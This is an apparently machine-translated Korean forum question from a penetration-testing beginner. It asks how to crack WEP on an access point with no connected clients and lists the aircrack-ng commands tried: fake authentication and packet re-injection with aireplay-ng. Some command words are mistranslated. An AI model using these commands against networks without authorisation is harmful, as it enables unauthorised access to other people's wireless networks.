저는 침투 테스트를 처음 접했고 aireplay-ng와 함께 airodump-ng를 올바르게 사용하여 AP에서 wep 암호화를 돌파하는 방법을 배우려고 노력하고 있습니다.
IV를 수집하기 위해 ARP 패킷을 다시 주입하여 AP에 연결된 클라이언트의 비밀번호를 얻었습니다. 무선 클라이언트 없이 WEP를 크랙하는 방법에 대한 aircrack-ng.org의 기사를 읽었지만 나에게는 작동하지 않는 것 같습니다. 재주입할 패킷을 수신하려고 시도했지만 클라이언트가 연결되어 있지 않아 AP가 침묵하는 것 같습니다. 클라이언트를 네트워크에 연결하지 않고 AP가 패킷을 보내도록 강제하는 방법이 있습니까? 아니면 암호화를 뚫을 수 있는 다른 방법이 있습니까?
또한 airodump-ng로 나열된 일부 네트워크는 신호 강도가 -1로 보고된다는 점도 언급했습니다. 나는 이것이 너무 멀다는 것을 의미한다고 생각합니다. 내 가정이 맞나요?
Arch Linux에서 aircrack-ng 제품군을 사용하고 있으며 essid가 브로드캐스트됩니다.
내가 사용하는 명령:
airomon-ng 시작 [wlan 인터페이스]
airodump-ng -w 출력 파일 -c [채널] --bssid [mac_of_ap] [모니터 인터페이스]
가짜 인증: aireplay-ng -1 0 -a [AP의 BSSID] -h [무선 카드의 Mac]
또는 AP와 지속적으로 재연결하려면:
aireplay-ng -1 6000 -o 1 -q 10 -e [Essid] -a [mac_of_ap] -h [무선 카드의 Mac] [모니터 인터페이스]
이 명령은 AP가 보내는 첫 번째 패킷을 가져와서 다시 주입하도록 되어 있었습니다. aireplay-ng -2 -p 0841 -c FF:FF:FF:FF:FF:FF -b [AP의 BSSID] -h [Mac of WIC] 월0